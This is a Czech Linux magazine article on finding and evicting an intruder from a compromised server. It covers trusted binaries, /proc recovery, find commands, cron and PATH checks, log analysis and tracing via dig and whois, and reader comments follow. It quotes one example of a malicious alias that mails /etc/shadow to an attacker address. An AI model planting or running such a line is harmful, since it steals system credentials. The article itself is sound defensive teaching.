přejít na obsah přejít na navigaci

Linux E X P R E S, Vypráskejte crackera ze svého serveru

Vypráskejte crackera ze svého serveru

Z své zkušenosti vím, že spousta administrátorů argumentuje své nedbalé zabezpečení serverů slovy „Vždyť používám bezpečný Linux“ nebo „já tam mám jenom FTP server – co by s mými empétrojkami dělali...“ Nebudu zpytovat ničí svědomí, ani nikoho učit správným návykům při samotné administraci. Místo toho vám ale povím, co dělat v případě zjištění, že už nejste jediným superuživatelem na svém serveru.


Jak jsem naznačil v úvodu, návštěva crackera může potkat každého z nás. Stává se tak z mnoha příčin. Nejčastějším důvodem, proč tak crackeři činí, bývá nutnost získat další počítač na síti, který skryje jejich pravou identitu. Pokud je náš stroj na dostatečně kvalitní (rychlé) konektivitě, mohou si z něj crackeři udělat tzv. zombie, což je počítač, který společně s dalšími cracklými servery útočí na dobře zabezpečený server třetí strany a snaží se tak o DoS útok. V neposlední řadě může jít o samotná data na serveru, případně o pomstu administrátora sítě, kterému jsme dali minulý týden výpověď.

DoS – Denial of Service čili odepření služby. DoS útok je způsobem narušení bezpečnosti počítačového systému. Většinou se provádí odesláním velkého množství požadavků (současně z několika počítačů), čímž dojde k zahlcení služby, kterou oběť – v našem případě server – není schopna obsloužit.

Opatrnost na prvním místě

V první řadě je nutno podotknout, že žádný z crackerů nestojí o odhalení své totožnosti. Většina administrátorů po zjištění přítomnosti vetřelce na stanici „vytrhne PC z internetu“. To nebývá příliš dobrým krokem. Na vlastní oči jsem již několikrát viděl zcela přepsaný disk náhodnými daty, když server přišel o konektivitu. Postaral se o to jednoduchý skript crackera.

Dalším z mnoha prohřešků bývá používání standardních linuxových příkazů, jako jsou ps, find, cp apod. při hledání stop po crackerovi. Valná většina útočníků po napadení Linuxu výše jmenované programy pro své účely modifikuje. Pro tyto případy je vhodné mít na serveru skrytě umístěné „bezpečné“ kopie těchto souborů (nejlépe pod jiným názvem). Zamezíme tak dalším škodám a podvodným akcím. V případě, že nemáme kopie těchto souborů k dispozici, nebo pokud se domníváme, že byly také pozměněny, snažíme se používat „náhrady“ těchto programů. Díky možnostem operačního systému existuje vždy několik alternativ, jak dosáhnout vytouženého příkazu bez použití patřičného programu. Jako demonstraci můžeme použít příkaz ps, jejž lze téměř ekvivalentně nahradit například příkazem file /proc/[0-9]*/exe.

Proč nemá smysl odpojovat počítač od konektivity, jsem vám již řekl. Stejně tak existuje dobrý důvod, proč ho přímo neodpojit od elektrické sítě. V případě, že útočník používá náš server například pro DoS útok, jediným jeho cílem bývá spustit patřičný skript či program, který samotný útok provádí. Oblíbená finta pak bývá nabourat se do systému, zahladit po sobě všechny stopy, spustit inkriminovaný program a ten pak fyzicky z disku smazat. V konečném důsledku bychom na takového crackera nikdy nepřišli. Po vypnutí či restartu systému by se program uvolnil z paměti a na médiu již fyzicky neexistoval.

Proti této kličce se lze úspěšně bránit. Pomocí „bezpečného“ příkazu ps si vypíšeme všechny běžící procesy a hledáme anomálie (dlouze běžící procesy a procesy, které neznáme). Já jsem na jednom cracklém systému nalezl proces mc s PID 14993, který běžel několik hodin. Vzhledem k tomu, že na server měl přístup pouze jeden správce, který tento program (Midnight Commander) nepoužívá, bylo to více než podezřelé. Nezbývalo nic jiného než samotný proces prověřit. Administrátor napadeného systému měl naštěstí několik dní starou zálohu kompletního stroje, a proto jsem nejprve provedl porovnání podezřelého souboru s originálem pomocí příkazu cmp. Ten neukázal žádný rozdíl, a proto jsem navštívil svůůj oblíbený adresář /proc a podíval se, zda-li běžící proces mc ukazuje na skutečný soubor Midnight Commandera.

Linux si uchovává informace o všech běžících procesech, a to i těch, kterým jsme smazali jejich binární soubor do doby, než se uvolní všechny datové bloky procesu a i-nodes. Informace o nich můžeme nalézt v adresáři /proc/`číslo PID běžícího procesu`. Na napadeném systému stačilo tedy provést:

root@victim:~#/usr/local/bezpecne_binarky/ls -l /proc/14993 | grep exe
lrwxrwxrwx 1 root root 0 2006-03-31 10:55 exe -> /var/tmp/.server*
root@victim:~#

Jak je vidět, proces neukazoval správně na /usr/bin/mc, ale na soubor /var/tmp/.server, a to navíc s právy superuživatele. Bylo naprosto zřejmé, že jde o podvrh. Když jsem navštívil adresář /var/tmp, žádný soubor .server jsem v něm, jak správně tušíte, nenalezl. Pomocí příkazu cp a díky adresáři /proc ovšem můžeme získat originál programu i přesto, že je již dávno smazaný. Provedeme tedy /usr/local/bezpecne_binarky/cp /proc/14993/exe /mnt/sdc3/hacked. Tím si zkopírujeme podvržený soubor k pozdějšímu zkoumání do adresáře hacked na disku sdc. Pomocí programu netstat (program netstat vypisuje informace o síti) a podle čísla PID jsem si ověřil, zda-li podvržený soubor opravdu sítově komunikoval. Pro vypsání komunikace programu s PID 14993 do konzole stačilo napsat netstat -a -p -v | grep 14993.

Hledáme trojské koně

Za ideální stav považuji, pokud má administrátor kompletní systém zálohovaný na jiném počítači. Téměř každý zálohovací program pak obsahuje parametr, kterým rozpozná rozdíly mezi jednotlivými soubory. Nás zajímají hlavně soubory, které byly nově vytvořeny, mají jiný kontrolní součet, jiná práva, případně jejich symbolické linky odkazují jinam, než by měly. V okamžiku, kdy takovou zálohu nemáme, pokusíme se najít a analyzovat co nejvíce potenciálně pozměněných souborů.

Typickým chováním crackerů bývá vytvoření tzv. trojského koně. Obyčejně se jedná o symbolický link na program, jenž má nastavená práva set-UID. Jako první tedy vyhledáme soubory s příznaky set-UID a set-GID (vynecháme adresář /proc)

find / ! -fstype proc -perm +6000 -ls

Dále vyhledáme soubory, které mají práva zápisu pro všechny uživatele

find / ! -fstype proc -perm -2 -ls

Důležité je i vyhledání souborů, které začínají tečkou. Takovéto soubory při zadání příkazu ls bez patřičných parametrů (parametr -a) nejsou vidět. Najdeme je pomocí příkazu

find / ! -fstype proc '(' -iname '.??*' -o -name '.[^.]' ')' -ls

Dobré je také zkontrolovat soubory, jejichž vlastník (či skupina) se nenachází v systému. Většinou se jedná o soubory, které si crackeři stáhli na náš server z jiného počítače.

find / ! -fstype proc '(' -nouser -o -nogroup ')' -ls

Od věci nebývá ani vyhledat naposledy změněné soubory: find / -mtime -5 -print

Hra na schovávanou

V předchozích příkladech jsme se snažili v systému najít maximum podezřelých souborů. Nemusím snad nikomu říkat, že i kdybychom některý z nich přehlédli, nemá cracker ještě vyhráno. Svůj škodlivý kód musí při startu systému (nebo v jinou stanovenou dobu) nějakým způsobem inicializovat.

Jako první samozřejmě přijdou „na ránu“ init skripty samotného systému. Vzhledem k tomu, že se nejedná o binární soubory závislé na jádře či jednotlivých knihovnách, doporučuji je místo zdlouhavého pročítání rovnou nahradit za stejné, z jiného – bezpečného systému. Pro úplnost dodávám, že jsou většinou uloženy v adresářích /etc/rc.d, /etc/init.d či /etc/rc[0-9].d.

Dalším spouštěcím mechanismem podvržených programů a trojských koní může být démon cron. Aktuálně naplánovanou tabulku akcí pro uživatele, pod kterým jste přihlášeni, si lze vypsat příkazem crontab -e. Tabulky ostatních uživatelů nalezneme obvykle v adresáři /var/spool/cron/crontabs. Věřte tomu – někdy se opravdu vyplatí si je přečíst. Na jednom z napadených systémů jsem v tabulce cron našel příkaz, jenž každý den ve 23:00 spustil na jednom z volných portů serveru démon inetd, a to s právy superuživatele. Kdokoliv se tak přes něj mohl vždy bez hesla dostat do celého systému, což bylo až na umístění skriptu v cronu velmi nenápadné a elegantní řešení.

Pro svou jednoduchost je také oblíbený jednoduchý trik s cestami a aliasy. Každý uživatel má po přihlášení v systému proměnou PATH, jež určuje pořadí vyhledávání binárních souborů v systému. Tato proměnná je pro většinu shellů uložená v souboru /etc/profile. Pro jednotlivé uživatele pak v jejich domovských složkách. U mě ji naleznete například v adresáři /home/hodza, a to konkrétně v souboru .bash_profile. Originál souboru vypadá asi takto:

PATH="/usr/local/bin:/usr/bin:/bin:/usr/X11R6/bin:/usr/games"

Útočník může původní řádek zaměnit za tento

PATH="/tmp:/usr/local/bin:/usr/bin:/bin:/usr/X11R6/bin:/usr/games"

Ačkoliv tato změna může na první pohled vypadat nevinně, co když si útočník skryje modifikovanou verzí programu ls do adresáře /tmp? Důsledky si domyslete sami.

Obdobný trik můžeme provést také s aliasy na jednotlivé příkazy. Nejednou jsem na cracknutém serveru viděl alias na příkaz ls podobný například tomuto:

cat /etc/shadow | mail utocnik@freemail; ls -pla

Při každém napsání příkazu ls tak root odeslal crackerovi seznam všech šifrovaných hesel do systému.

Analyzujeme logy

Velmi cenné informace můžeme najít v samotných logovacích souborech systému. Pokud jste zapomněli ve svém firewallu zakázat přístup například na port 22 (SSH) určitě uvidíte v souboru /var/log/messages spoustu podobných řádků, jako jsou tyto:

Apr  3 23:11:22 victim sshd[32324]: Invalid user admin from  195.39.10.1
Apr  3 23:11:22 victim sshd[32324]: Failed none for invalid user admin from 195.39.10.1 port 40095 ssh2
Apr  3 23:11:23 victim sshd[32324]: Failed password for invalid user admin from 195.39.10.1 port 40095 ssh2
Apr  3 23:11:31 victim sshd[32327]: Invalid user guest from  195.39.10.1
Apr  3 23:11:31 victim sshd[32327]: Failed none for invalid user guest from 195.39.10.1 port 40096 ssh2
Apr  3 23:11:33 victim sshd[32327]: Failed password for invalid user guest from 195.39.10.1 port 40096 ssh2
Apr  3 23:11:36 victim sshd[32331]: Invalid user test from  195.39.10.1
Apr  3 23:11:36 victim sshd[32331]: Failed none for invalid user test from 195.39.10.1 port 40097 ssh2
Apr  3 23:11:38 victim sshd[32331]: Failed password for invalid user test from 195.39.10.1 port 40097 ssh2

V případě, že se podařilo útočníkovi prolomit některý z uživatelských účtů metodou BruteForce, nalezneme v souboru /var/log/lastlog informace o úspěšném přihlášení do systému, a to včetně přesného data, času, IP adresy a čísla konzole. /var/log/lastlog je z bezpečnostního důvodu binární soubor. Jeho obsah si musíme zobrazit příkazem last – ovšem pozor! Někteří crackeři tento soubor dokáží pozměnit tak, abychom je nedokázali vypátrat. Méně zkušení útočníci pak soubor alespoň smažou, čímž zabrání vystopování svého přístupu.

Opět můžu uvést příklad z praxe. Dostal jsem se k jednomu nabouranému serveru, u kterého útočník zapomněl soubor lastlog „pročistit“.Po napsání příkazu last na mě vykoukl přibližně následující výpis:

root@victim:~# last
root		tty1					Sun Apr  2 11:32   still logged in
root		pts/6	195.39.10.82	Sat Apr  1 14:07 - down   (04:19)
root		tty1					Sat Apr  1 02:04 - down   (02:34)
root		tty3					Fri Mar 31 10:54 - down   (02:36)
jarda	pts/5	195.39.10.82	Fri Mar 31 10:54 - down   (02:36)

Z výše uvedeného textu lze vyčíst, že útočník (IP 195.39.10.82) prolomil uživatelský účet jarda. V něm pravděpodobně spustil rootkit, díky kterému získal soubor s hesly. Při dalším přihlášení pak použil rovnou heslo superuživatele.

RootKit – Dříve se jednalo o program, jenž byl využíván k získání větších uživatelských práv v systému (obvykle superuživatelských). Dnes rootkity slouží především k umístění trojských koní a různých keyloggerů do systému, kde skrytě monitorují činnost uživatele.

V Linuxu ovšem existuje spousta dalších zajímavých logů, které je vhodné prozkoumat. Mezi ty nejdůležitější patří error log démonu apache, ve kterém nalezneme spoustu pokusů o prolomení bezpečnosti (například přes špatně napsané PHP skripty). Zapomenout bychom určitě neměli ani na soubor /var/log/xferlog, kam většina FTP démonů loguje veškeré pokusy o přístup a přesun souborů.

V případě, že náš server neslouží jako SMTP brána pro tisíc klientů, určitě také nakoukneme do souboru /var/log/mail.log a do adresáře /var/spool/mqueue. V lepším případě narazíme na poštu, kterou cracker nestačil odeslat. Mohla by vám v budoucnu pomoci při jeho vystopování.

Odkud jsi, cizinče?

Pokud jsme měli štěstí a vypátrali IP adresu, ze které se cracker naboural do našeho serveru, je na čase zjistit, s kým jsme měli tu čest. Nejprve se pokusíme pomocí příkazu dig zjistit, ze které domény byl proveden útok. Napíšeme tedy do konzole dig -x 195.39.10.82 a odpověď bude vypadat následovně:

…
;; QUESTION SECTION:
;82.10.39.195.in-addr.arpa.     IN      PTR
;; ANSWER SECTION:
82.10.39.195.in-addr.arpa. 129559 IN    PTR     ippavlova.fofrnet.cz.
;; AUTHORITY SECTION:
10.39.195.in-addr.arpa. 252647  IN      NS      uroboros.fofrnet.cz.
10.39.195.in-addr.arpa. 252647  IN      NS      server1.gts.cz.
...

Pro nás je podstatná sekce začínající textem ;; ANSWER SECTION:. Ihned pod těmito slovy je zapsaná hledaná IP adresa a k ní i patřičná doména. V našem případě se jedná o doménu fofrnet.cz. Do webového prohlížeče zadáme adresu fofrnet.cz a pokusíme se najít kontakt na správce dané počítačové sítě.

Bohužel ne všechny IP adresy patří do některé domény. I pro tento případ existuje řešení. Pomocí standardního programu whois se pokusíme najít abuse kontakt, případně alespoň vlastníka patřičného rozsahu. Do terminálu přitom stačí napsat magické whois 195.39.10.82 a odpovědí nám bude

Abuse kontakt – Označení e-mailové adresy (většinou e-mailová adresa správce dané sítě), na kterou se můžeme obracet v případě útoků crackery, při hromadném rozesílání spamu a virů nebo jakékoliv jiné nelegální činnosti.

…
person:       Milan Kozak
address:      FOFRnet Spol. s R.O.
address:      I. P. Pavlova 69
address:      Olomouc
address:      779 00
address:      The Czech Republic
phone:        +420 775 77 88 37
e-mail:       kozak@fofrnet_cz
nic-hdl:      MK4335-RIPE
source:       RIPE # Filtered
...

Jak sami vidíte, máme před sebou jak přesnou adresu ISP tak i e-mail a telefonní číslo. Nezbývá než kontaktovat protistranu a potrestat útočníka.

Pár slov závěrem

Článek rozhodně není seznamem všech postupů, které útočníci používají. Snažil jsem se vám ukázat nejčastější techniky ukrytí crackera v systému. Zajímavostí může být, že někteří „vetřelci“ váš systém sami částečně „záplatují“ – snižují riziko napadení serveru dalším crackerem, a tím tak prozrazení sebe sama. I přestože žádný server nelze stoprocentně ochránit proti napadení, snažte se dodržovat základní zásady bezpečnosti. Používejte pokud možno šifrované protokoly a silná hesla, udržujte svůj systém neustále aktuální, sledujte bezpečnostní konference a pokuste se nainstalovat některý z IDS – na internetu jsou jich desítky.

IDS – Z anglického Intrusion Detection System. Jedná se o program, který zaznamenává pokusy o prolomení systému, které běžný firewall není schopen zachytit (neautorizované přihlášení do systému, nabourávaní se do jednotlivých služeb, skenování počítače, trojské koně, viry a další.)


Hacker, či cracker?

Některé z vás možná trápí, proč v textu používám slovo cracker namísto často používaného a nesprávně zažitého slova hacker. Dovolil bych si ocitovat část svobodné encyklopedie Wikipedia, jež dává této hádance poměrně jasnou odpověď (Wikipedia).

„Jako hackeři byli původně označováni počítačoví specialisté, programátoři s detailními znalostmi vnitřností systému či obecněji lidé, kteří se zajímali, jak přesně věci fungují. Postupem času se však tento termín začal používat pro počítačové zločince a narušitele počítačových sítí, pro které však existuje přesnější termín cracker. Dnes jsou oba pojmy často zamlčovány a jako pojem blízký původnímu významu se používá také termín geek.“


Odkazy

Bob Toxen: Bezpečnost v Linuxu – prevence a odvrácení napadení systému, ISBN 80-7226-716-7, Computer Press, Brno 2003


Nahoru

Odkazy

Příspěvky

Re: Vypráskejte crackera ze svého serveru
26. 10. 2006, 19:56:54
Odpovědět  Odkaz 
Som v ohrozeni ak nemam verejnu IP?
Milan Kozák Re: Vypráskejte crackera ze svého serveru
Milan Kozák 27. 10. 2006, 11:40:15
Odpovědět  Odkaz 
DD,
bohuzel i to, ze mate neverejnou IP adresu neznamena, ze jste v bezpeci.

1. Valna vetsina utoku bohuzel pochazi z lokalni site a ne z internetu.
2. Existuje mnoho zpusobu, jak se dostat do PC s neverejnou IP adresou.

Dulezite je vzdy nepodcenovat zabezpeceni (pouzit kvalitni firewall, dostatecne dlouha a slozita hesla, aktualizovat system, atd...)
Re: Vypráskejte crackera ze svého serveru
30. 10. 2006, 09:01:56
Odpovědět  Odkaz 
Pekny clanek, jen bych chtel upozornit na nastroj,ktery vyhleda rootkity a podvrzene soubory

http://www.chkrootkit.org/
Vypráskejte crackera ze svého serveru
zoro 20. 07. 2007, 08:27:09
Odpovědět  Odkaz 
hledam crackera
s9zavinacseznamcz
Re:Vypráskejte crackera ze svého serveru
h4X0r 2. 10. 2007, 15:21:59
Odpovědět  Odkaz 
někdo mě schání?
Vynikající článek
Pepa Nádběla 10. 01. 2015, 15:14:15
Odpovědět  Odkaz 
Děkuji, je to vynikající článek, autor je opravdu borec!

Odpovědět

Nejsou podporovány žádné značky, komentáře jsou jen čistě textové. Více o diskuzích a pravidlech najdete v nápovědě.
Diskuzi můžete sledovat pomocí RSS kanálu rss



 
 

Top články z OpenOffice.cz